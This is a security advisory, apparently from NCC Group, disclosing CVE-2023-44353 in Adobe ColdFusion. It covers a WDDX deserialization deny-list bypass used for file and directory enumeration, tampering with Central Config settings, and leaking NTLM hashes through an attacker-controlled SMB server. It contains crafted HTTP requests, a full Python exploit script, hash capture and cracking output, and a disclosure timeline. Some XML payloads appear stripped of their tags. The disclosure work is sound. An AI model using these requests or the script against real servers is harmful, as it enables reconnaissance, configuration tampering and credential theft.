Vendor: Adobe Vendor URL: https://www.adobe.com/uk/products/coldfusion-family.html Versions affected: * Adobe ColdFusion 2023 Update 5 and earlier versions * Adobe ColdFusion 2021 Update 11 and earlier versions Systems Affected: All Author: McCaulay Hudson (mccaulay.hudson@nccgroup.com) Advisory URL: https://helpx.adobe.com/security/products/coldfusion/apsb23-52.html CVE Identifier: CVE-2023-44353 Risk: 5.3 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Adobe ColdFusion allows software developers to rapidly build web applications. Recently, a critical vulnerability was identified in the handling of Web Distributed Data eXchange (WDDX) requests to ColdFusion Markup (CFM) endpoints. Multiple patches were released by Adobe to resolve the vulnerability, and each has been given its own CVE and Adobe security update:
- Security updates available for Adobe ColdFusion | APSB23-40 – CVE-2023-29300
- Security updates available for Adobe ColdFusion | APSB23-41 – CVE-2023-38203
- Security updates available for Adobe ColdFusion | APSB23-47 – CVE-2023-38204
From patch diffing, it was observed that the patch uses a deny list
in the serialfilter.txt
file to prevent specific packages
from being executed in the deserialization attack. However, multiple
packages were identified which did not exist in the deny list by
default. This could be leveraged to perform enumeration of the
ColdFusion server, or to set certain configuration values.
The vulnerabilities identified in this post were tested against ColdFusion 2023 Update 3 (packaged with Java JRE 17.0.6) using a default installation. No additional third-party libraries or dependencies were used or required for these specific vulnerabilities identified.
Impact
The vulnerabilities identified allowed an unauthenticated remote attacker to:
- Obtain the ColdFusion service account NTLM password hash when the service was not running as SYSTEM
- Verify if a file exists on the underlying operating system of the ColdFusion instance
- Verify if a directory exists on the underlying operating system of the ColdFusion instance
- Set the Central Config Server (CCS) Cluster Name configuration in
the
ccs.properties
file - Set the Central Config Server (CCS) Environment configuration in the
ccs.properties
file
Being able to determine if a directory exists on the ColdFusion
system remotely may aid attackers in further attacks against the system.
For example, an attacker could enumerate the valid user accounts on the
system by brute forcing the C:\Users\
or
/home/
directories.
File or directory enumeration could also be used to determine the underlying operating system type and version. Changing the Central Config Server’s environment to development or beta may increase the attack surface of the server for further attacks. Finally, obtaining the service account NTLM hash of the user running ColdFusion may be used to tailor further attacks such as cracking the hash to a plaintext password, or pass-the-hash attacks.
Details
The deserialization attack has been discussed in detail previously by Harsh Jaiswal in the blog post Adobe ColdFusion Pre-Auth RCE(s). The vulnerabilities discussed in this document are an extension of that attack, utilising packages which are currently not in the default deny list.
Due to the constraints of the deserialization attack, the following conditions must be met in order to execute a Java function within the ColdFusion application:
- The class must contain a public constructor with zero arguments
- The target function must begin with the word set
- The target function must not be static
- The target function must be public
- The target function must have one argument
- Multiple public non-static single argument set functions can be chained in a single request
- Must not exist in the
cfusion/lib/serialfilter.txt
deny list
ColdFusion 2023 Update 3 contained the following
cfusion/lib/serialfilter.txt
file contents:
!org.mozilla.**;!com.sun.syndication.**;!org.apache.commons.beanutils.**;!org.jgroups.**;!com.sun.rowset.**;
Adhering to those restrictions, the following functions were identified which provided an attacker useful information on the target system.
- File existence –
coldfusion.tagext.net.LdapTag.setClientCert
- Directory existence –
coldfusion.tagext.io.cache.CacheTag.setDirectory
- Set CCS cluster name –
coldfusion.centralconfig.client.CentralConfigClientUtil.setClusterName
- Set CCS environment –
coldfusion.centralconfig.client.CentralConfigClientUtil.setEnv
The proof of concept coldfusion-wddx.py script has been provided at the end of this post. The following examples use multiple IP addresses which correspond to the following servers:
- 192.168.198.128 – Attacker controlled server
- 192.168.198.129 – Linux ColdFusion server
- 192.168.198.136 – Windows ColdFusion server
File existence – coldfusion.tagext.net.LdapTag.setClientCert
The setClientCert
function in the
CentralConfigClientUtil
class could be remotely executed by
an unauthenticated attacker to perform multiple different attacks. The
function definition can be seen below:
public void setClientCert(String keystore) { if (!new File(keystore).exists()) { throw new KeyStoreNotFoundException(keystore); } this.keystore = keystore; }
In this scenario, the attacker can control the keystore
string parameter from the crafted HTTP request. An example HTTP request
to exploit this vulnerability can be seen below:
POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true HTTP/1.1 Host: 192.168.198.136:8500 Content-Type: application/x-www-form-urlencoded Content-Length: 202 argumentCollection=<> version='1.0'><> type='xcoldfusion.tagext.net.LdapTagx'><> name='clientCert'> C:\\Windows\\win.ini
Executing this function allows an attacker to check if a file on the
filesystem exists. If a file was present, the server would respond with
a HTTP status 500. However, if the file did not exist on the target
system, the server would respond with a HTTP status 200. This can be
seen using the provided coldfusion-wddx.py
PoC script:
└─$ python3 coldfusion-wddx.py 192.168.198.136 file-exist C:\\Windows\\win.ini [#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [+] File exists └─$ python3 coldfusion-wddx.py 192.168.198.136 file-exist C:\\Windows\\invalid-file [#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [-] File does not exist └─$ python3 coldfusion-wddx.py 192.168.198.129 file-exist /etc/passwd [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [+] File exists └─$ python3 coldfusion-wddx.py 192.168.198.129 file-exist /etc/invalid [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [-] File does not exist
The Java File
specification states that the path can be a Microsoft Windows UNC
pathname. An attacker can therefore provide a UNC path of an attacker
controlled SMB server. This will cause the ColdFusion application to
connect to the attacker’s SMB server. Once the connection has occurred,
the NTLM hash of the ColdFusion service account will be leaked to the
attackers SMB server. However, the NTLM hash is only leaked if the
ColdFusion service is not running as the SYSTEM
user. It
should be noted that by default, the ColdFusion service runs as the
SYSTEM
user, however Adobe recommends hardening this in the
Adobe
ColdFusion 2021 Lockdown Guide in section “6.2 Create a Dedicated
User Account for ColdFusion”.
In the following example, the ColdFusion service has been hardened to
run as the coldfusion
user, instead of the default
SYSTEM
user.
An SMB server is hosted using smbserver.py on the attacker’s machine:
└─$ smbserver.py -smb2support TMP /tmp Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B125FC8-1210-09D4-1220-5A47EA6BB121 V:3.0 [*] Callback added for UUID 6BEEA021-B512-1680-9933-16D3A87F305A V:1.0 ...
The file exist ColdFusion vulnerability can then be triggered to access the attacker’s SMB server using the UNC path:
└─$ python3 coldfusion-wddx.py 192.168.198.136 file-exist \\\\192.168.198.128\\TMP [#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [+] File exists
The smbserver.py output shows that the ColdFusion server connected to the attacker’s SMB server, which resulted in the ColdFusion account Net-NTLMv2 hash being leaked:
[*] Incoming connection (192.168.198.136,53483) [*] AUTHENTICATE_MESSAGE (DESKTOP-J10AQ1P\coldfusion,DESKTOP-J10AQ1P) [*] User DESKTOP-J10AQ1P\coldfusion authenticated successfully [*] coldfusion::DESKTOP-J10AQ1P:aaaaaaaaaaaaaaaa:10a621e4f3b9a4b311ef62b45d3c94fd:0101000000000000808450406ecbd901702ffe4197ae622300000000010010006900790064006100520073004b004400030010006900790064006100520073004b0044000200100071004300780052007a005900410059000400100071004300780052007a0059004100590007000800808450406ecbd90106000400020000000800300030000000000000000000000000300000c23fddb9ebd5ba3c293612e488cfa07300752e0ee89205bfbdade370d11ab4520a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100390038002e003100320038000000000000000000 [*] Closing down connection (192.168.198.136,53483)
The hash can then be cracked using tools such as John the Ripper or Hashcat. As shown in the
following output, the coldfusion
user had the Windows
account password of coldfusion
.
└─$ echo "coldfusion::DESKTOP-J10AQ1P:aaaaaaaaaaaaaaaa:6d367a87f95d9fb5637bcfad38ae7110:0101000000000000002213dd6ecbd9016f132c6d672d957400000000010010004f0078006d00450061006c0073006f00030010004f0078006d00450061006c0073006f000200100063004200450044006100670074004b000400100063004200450044006100670074004b0007000800002213dd6ecbd90106000400020000000800300030000000000000000000000000300000c23fddb9ebd5ba3c293612e488cfa07300752e0ee89205bfbdade370d11ab4520a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100390038002e003100320038000000000000000000" > hash.txt
└─$ john --format=netntlmv2 --wordlist=passwords.txt hash.txt Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) coldfusion (coldfusion)
Directory existence – coldfusion.tagext.io.cache.CacheTag.setDirectory
Similar to file existence, it is also possible to determine if a
directory exists by leveraging the setDirectory
function in
the CacheTag
class. The function is defined as:
public void setDirectory(String directory) { if ("".equals(directory = directory.trim())) { CacheExceptions.throwEmptyAttributeException("directory"); } directory = Utils.getFileFullPath(directory.trim(), this.pageContext, true); File tempFile = VFSFileFactory.getFileObject(directory); if (!CacheTag.fileExists(directory) || tempFile.isFile()) { CacheExceptions.throwDirectoryNotFoundException("directory", directory); } this.directory = directory; }
In this case, the directory
variable can be controlled
by an unauthenticated request to the ColdFusion server. Once the
functionality has passed various helper methods, it checks whether the
directory exists or not and causes a HTTP error 500 when it does exist,
and a HTTP error 200 when it does not exist. An example HTTP request can
be seen below:
POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1 Host: 192.168.198.129:8500 Content-Type: application/x-www-form-urlencoded Content-Length: 192 argumentCollection=<> version='1.0'><> type='acoldfusion.tagext.io.cache.CacheTaga'><> name='directory'> /tmp/
Likewise, the coldfusion-wddx.py
Python script can be
used to automate this request:
└─$ python3 coldfusion-wddx.py 192.168.198.136 directory-exist C:\\Windows\\ [#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [+] Directory exists └─$ python3 coldfusion-wddx.py 192.168.198.136 directory-exist C:\\Invalid\\ [#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [-] Directory does not exist └─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist /tmp/ [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [+] Directory exists └─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist /invalid/ [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [-] Directory does not exist
The helper function VSFileFactory.getFileObject
uses the
Apache
Commons VFS Project for additional file system support. The list of
supported file systems can be seen in the
cfusion/lib/vfs-providers.xml
file.
File System – HTTP/HTTPS
The HTTP(S) schemas allow you to perform a HTTP(S) HEAD request on behalf of the ColdFusion server. In the following example, a HTTP server is hosted on the attacker machine:
└─$ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
The request is then triggered with a path of the attacker’s web server:
└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist http://192.168.198.128/ [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [-] Directory does not exist
This then causes a HTTP(S) HEAD request to be sent to the server:
192.168.198.129 - - [10/Aug/2023 08:43:01] "HEAD / HTTP/1.1" 200 -
File System – FTP
The FTP schema allows you to connect to an FTP server using the login
credentials anonymous
/anonymous
:
└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist ftp://192.168.198.128/ [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [-] Directory does not exist
msf6 auxiliary(server/capture/ftp) > [+] FTP LOGIN 192.168.198.129:37160 anonymous / anonymous
File System – JAR/ZIP
The JAR/ZIP schema allows you to enumerate the existence of directories within JAR/ZIP files on the ColdFusion server:
└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist jar://opt/ColdFusion2023/cfusion/lib/cfusion.jar\!META-INF [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [+] Directory exists └─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist jar://opt/ColdFusion2023/cfusion/lib/cfusion.jar\!INVALID [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [-] Directory does not exist
The remaining supported filesystems were not tested, however it is likely they can be used to enumerate directories for the given filesystem.
Set CCS Cluster Name – coldfusion.centralconfig.client.CentralConfigClientUtil.setClusterName
It was possible to set the Central Config Server (CCS) Cluster Name
setting by executing the setClusterName
function inside the
CentralConfigClientUtil
class. The function is defined
as:
public void setClusterName(String cluster) { if (ccsClusterName.equals(cluster)) { return; } ccsClusterName = cluster; CentralConfigClientUtil.storeCCSServerConfig(); ccsCheckDone = false; CentralConfigRefreshServlet.reloadAllModules(); }
An attacker can control the cluster
parameter and set
the cluster name to any value they choose. An example HTTP request to
trigger the vulnerability is shown below:
POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1 Host: 192.168.198.129 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 216 argumentCollection=<> version='1.0'><> type='xcoldfusion.centralconfig.client.CentralConfigClientUtilx'><> name='clusterName'> EXAMPLE
Additionally, the provided PoC script can be used to simplify setting the CCS cluster name:
└─$ python3 coldfusion-wddx.py 192.168.198.129 ccs-cluster-name EXAMPLE [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [+] Set CCS cluster name
Once the request has been processed by the ColdFusion server, the
clustername
property in the
cfusion/lib/ccs/ccs.properties
file is set to the attacker
controlled value, and the cluster name is used by the ColdFusion
server.
#Fri Aug 11 09:04:22 BST 2023 loadenvfrom=development server=localhost clustername=EXAMPLE currentversion=-1 hostport=8500 excludefiles=jvm.config,neo-datasource.xml enabled=false ccssecretkey=<redacted> environment=dev hostname=coldfusion port=7071 context= loadversionfrom=-1
Set CCS Environment – coldfusion.centralconfig.client.CentralConfigClientUtil.setEnv
Similar to setting the CCS cluster name, an attacker can also set the
CCS environment by executing the setEnv
function inside the
CentralConfigClientUtil
class as shown below:
public void setEnv(String env) { if (ccsEnv.equals(env)) { return; } ccsEnv = env; CentralConfigClientUtil.storeCCSServerConfig(); CentralConfigRefreshServlet.reloadAllModules(); }
An example HTTP request to execute this function with the attacker
controlled env
variable can be seen below:
POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1 Host: 192.168.198.129 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 212 argumentCollection=<> version='1.0'><> type='xcoldfusion.centralconfig.client.CentralConfigClientUtilx'><> name='env'> development
The PoC Python script command ccs-env
automates sending
this request:
└─$ python3 coldfusion-wddx.py192.168.198.129 ccs-env EXAMPLE [#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true [+] Set CCS environment
Finally, the environment
property in the
cfusion/lib/ccs/ccs.properties
file has been changed to the
attacker controlled value.
#Fri Aug 11 09:08:54 BST 2023 loadenvfrom=development server=localhost clustername=_CF_DEFAULT currentversion=-1 hostport=8501 excludefiles=jvm.config,neo-datasource.xml enabled=false ccssecretkey=843c36f1-ca01-4783-9e50-135e0e6450e7 environment=EXAMPLE hostname=coldfusion port=7071 context= loadversionfrom=-1
Recommendation
Do not deserialize user-controlled data where possible. Especially in instances where attackers can provide class names and functions which result in remote code execution. The existing patch uses a deny list which is not recommended, as it is not possible to list and filter all possible attacks that could target the ColdFusion server. This is especially so with the ability to load additional third-party Java files which could be targeted.
Instead, if the deserialization is a critical part of functionality which cannot be changed, an allow list should be used instead of a deny list. This would allow you to carefully review and list the small number of classes which can be used for this functionality, whilst minimising the likelihood of an attack against these classes. Although an allow list is a much better alternative to the deny list, it is still not a secure solution as vulnerabilities may exist within the allowed classes. Likewise, future changes and updates may occur within those vulnerable classes that the developer may not be aware of.
coldfusion-wddx.py
The following proof of concept script “coldfusion-wddx.py” has been provided to demonstrate the various vulnerabilities outlined in this post.
import argparse import requests import sys import enum URL = None VERBOSITY = None class LogLevel(enum.Enum): NONE = 0 MINIMAL = 1 NORMAL = 2 DEBUG = 3 class ExitStatus(enum.Enum): SUCCESS = 0 CONNECTION_FAILED = 1 FUNCTION_MUST_BE_SET = 2 DIRECTORY_NOT_FOUND = 3 FILE_NOT_FOUND = 4 FAIL_SET_CCS_CLUSTER_NAME = 5 FAIL_SET_CCS_ENV = 6 # Log the msg to stdout if the verbosity level is >= the given level def log(level, msg): if VERBOSITY.value >= level.value: print(msg) # Show a result and exit def resultObj(obj): if VERBOSITY == LogLevel.MINIMAL and 'minimal' in obj: log(LogLevel.MINIMAL, obj['minimal']) log(LogLevel.NORMAL, obj['normal']) sys.exit(obj['status'].value) # Show a result and exit success/fail wrapper def result(code, successObj, failObj): # Success occurs when a server error occurs if code == 500: return resultObj(successObj) return resultObj(failObj) # Build the WDDX Deserialization Packet def getPayload(cls, function, argument, type = 'string'): name = function # Validate the function begins with "set" if name[0:3] != 'set': log(LogLevel.MINIMAL, '[-] Target function must begin with "set"!') sys.exit(ExitStatus.FUNCTION_MUST_BE_SET.value) # Remove "set" prefix name = function[3:] # Lowercase first letter name = name[0].lower() + name[1:] return f"""<{type}>{argument}{type}> """ # Perform the POST request to the ColdFusion server def request(cls, function, argument, type = 'string'): payload = getPayload(cls, function, argument, type) log(LogLevel.DEBUG, '[#] Sending HTTP POST request with the following XML payload:') log(LogLevel.DEBUG, payload) try: r = requests.post(URL, data={ 'argumentCollection': payload }, headers={ 'Content-Type': 'application/x-www-form-urlencoded' }) log(LogLevel.DEBUG, f'[#] Retrieved HTTP status code {r.status_code}') return r.status_code except requests.exceptions.ConnectionError: log(LogLevel.MINIMAL, '[-] Failed to connect to target ColdFusion server!') sys.exit(ExitStatus.CONNECTION_FAILED.value) # Handle the execute command def execute(classpath, method, argument, type): log(LogLevel.NORMAL, f'[#]') log(LogLevel.NORMAL, f'[!] Execute restrictions:') log(LogLevel.NORMAL, f'[!] * Class') log(LogLevel.NORMAL, f'[!] * Public constructor') log(LogLevel.NORMAL, f'[!] * No constructor arguments') log(LogLevel.NORMAL, f'[!] * Function') log(LogLevel.NORMAL, f'[!] * Name begins with "set"') log(LogLevel.NORMAL, f'[!] * Public') log(LogLevel.NORMAL, f'[!] * Not static') log(LogLevel.NORMAL, f'[!] * One argument') log(LogLevel.NORMAL, f'[#]') code = request(classpath, method, argument, type) if VERBOSITY == LogLevel.MINIMAL: log(LogLevel.MINIMAL, f'{code}') log(LogLevel.NORMAL, f'[#] HTTP Code: {code}') sys.exit(ExitStatus.SUCCESS.value if code == 500 else code) # Handle the directory existence command def directoryExists(path): code = request('coldfusion.tagext.io.cache.CacheTag', 'setDirectory', path) result(code, { 'minimal': 'valid', 'normal': '[+] Directory exists', 'status': ExitStatus.SUCCESS, }, { 'minimal': 'invalid', 'normal': '[-] Directory does not exist', 'status': ExitStatus.DIRECTORY_NOT_FOUND, }) # Handle the file existence command def fileExists(path): code = request('coldfusion.tagext.net.LdapTag', 'setClientCert', path) result(code, { 'minimal': 'valid', 'normal': '[+] File exists', 'status': ExitStatus.SUCCESS, }, { 'minimal': 'invalid', 'normal': '[-] File does not exist', 'status': ExitStatus.FILE_NOT_FOUND, }) # Set CCS Cluster Name def setCCsClusterName(name): code = request('coldfusion.centralconfig.client.CentralConfigClientUtil', 'setClusterName', name) result(code, { 'minimal': 'success', 'normal': '[+] Set CCS cluster name', 'status': ExitStatus.SUCCESS, }, { 'minimal': 'failed', 'normal': '[-] Failed to set CCS cluster name', 'status': ExitStatus.FAIL_SET_CCS_CLUSTER_NAME, }) # Set CCS Environment def setCcsEnv(env): code = request('coldfusion.centralconfig.client.CentralConfigClientUtil', 'setEnv', env) result(code, { 'minimal': 'success', 'normal': '[+] Set CCS environment', 'status': ExitStatus.SUCCESS, }, { 'minimal': 'failed', 'normal': '[-] Failed to set CCS environment', 'status': ExitStatus.FAIL_SET_CCS_ENV, }) def main(args): global URL, VERBOSITY # Build URL URL = f'{args.protocol}://{args.host}:{args.port}{args.cfc}' # Set verbosity if args.verbosity == 'none': VERBOSITY = LogLevel.NONE elif args.verbosity == 'minimal': VERBOSITY = LogLevel.MINIMAL elif args.verbosity == 'normal': VERBOSITY = LogLevel.NORMAL elif args.verbosity == 'debug': VERBOSITY = LogLevel.DEBUG log(LogLevel.NORMAL, f'[#] Target: {URL}') # Execute if args.command == 'execute': return execute(args.classpath, args.method, args.argument, args.type) # Directory Existence if args.command == 'directory-exist': return directoryExists(args.path) # File Existence if args.command == 'file-exist': return fileExists(args.path) # Set CCS Cluster Name if args.command == 'ccs-cluster-name': return setCCsClusterName(args.name) # Set CCS Environment if args.command == 'ccs-env': return setCcsEnv(args.env) if __name__ == "__main__": parser = argparse.ArgumentParser(description='') parser.add_argument('host', help='The target server domain or IP address') parser.add_argument('-p', '--port', type=int, default=8500, help='The target web server port number (Default: 8500)') parser.add_argument('-pr', '--protocol', choices=['https', 'http'], default='http', help='The target web server protocol (Default: http)') parser.add_argument('-c', '--cfc', default='/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true', help='The target CFC path (Default: /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true)') parser.add_argument('-v', '--verbosity', choices=['none', 'minimal', 'normal', 'debug'], default='normal', help='The level of output (Default: normal)') subparsers = parser.add_subparsers(required=True, help='Command', dest='command') # Execute parserE = subparsers.add_parser('execute', help='Execute a specific class function') parserE.add_argument('classpath', help='The target full class path (Example: coldfusion.centralconfig.client.CentralConfigClientUtil)') parserE.add_argument('method', help='The set function to execute (Example: setEnv)') parserE.add_argument('argument', help='The function argument to pass (Example: development)') parserE.add_argument('-t', '--type', default='string', help='The function argument type (Default: string)') # Directory Enumeration parserD = subparsers.add_parser('directory-exist', help='Check if a directory exists on the target server') parserD.add_argument('path', help='The absolute directory path (Examples: /tmp, C:/)') # File Enumeration parserF = subparsers.add_parser('file-exist', help='Check if a file exists on the target server') parserF.add_argument('path', help='The absolute file path (Examples: /etc/passwd, C:/Windows/win.ini)') # Set CCS Server Cluster Name parserN = subparsers.add_parser('ccs-cluster-name', help='Set the Central Config Server cluster name') parserN.add_argument('name', help='The absolute directory path (Example: _CF_DEFAULT)') # Set CCS Server Env parserE = subparsers.add_parser('ccs-env', help='Set the Central Config Server environment') parserE.add_argument('env', help='The absolute directory path (Example: development)') main(parser.parse_args())
Vendor Communication
- 2023-09-12: Disclosed vulnerability to Adobe
- 2023-09-12: Adobe opened vulnerability investigation
- 2023-11-15: Adobe published advisory APSB23-52 containing CVE-2023-44353
Thanks to
- Harsh Jaiswal – ProjectDiscovery.io
About NCC Group
NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionising the way in which organisations think about cybersecurity.